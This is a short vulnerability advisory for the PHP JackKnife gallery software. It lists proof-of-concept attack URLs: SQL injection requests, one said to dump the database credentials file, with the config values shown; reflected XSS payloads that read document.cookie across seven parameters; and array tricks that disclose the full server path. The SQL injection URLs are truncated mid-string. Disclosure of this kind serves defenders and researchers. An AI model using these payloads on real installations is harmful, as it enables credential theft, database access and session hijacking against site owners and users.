Vendor site: http://www.phpjk.com/
Product: phpjackknife
Bug: sql injection , xss , full path
Risk: high
Note: works regarless of php.ini settings

Description:
PHP JackKnife (PHPJK) is freely downloadable PHP gallery software that you can use to instantly create you own online web gallery



Injection sql GET :

http://127.0.0.1/PHPJK/G_Display.php.../**/Accounts/*
http://127.0.0.1/PHPJK/Search/Displa...ROM+Accounts/*

Read database credentials:
http://127.0.0.1/PHPJK/G_Display.php.../**/Accounts/*

//Result (in the page source code) :
$sUseDB = "MYSQL";
$sDatabaseName = "phpjk";
$sDatabaseServer = "localhost";
$sDatabaseLogin = "my_user";
$sDatabasePassword = "my_password";

ps 0x2F75......... = /usr/local/apache2/htdocs/PHPJK/Configurations/PHPJK_Config.php )


Xss get :

http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?iDBLoc=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?iTtlNumItems=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?&iNumPerPage=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/G_Display.php?sSort=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/UserArea/Authenticate.php?sUName=</textarea>'"><script>alert(document.cookie)</script>
http://127.0.0.1/PHPJK/UserArea/NewAccounts/index.php?sAccountUnq=</textarea>'"><script>alert(document.cookie)</script>

Full path :

http://127.0.0.1/PHPJK/G_Display.php?iCategoryUnq[]=1
http://127.0.0.1/PHPJK/G_Display.php?sSort[]=Name_A
http://127.0.0.1/PHPJK/index.php?iParentUnq[]=0


regards laurent gaffie
contact: laurent.gaffie@gmail.com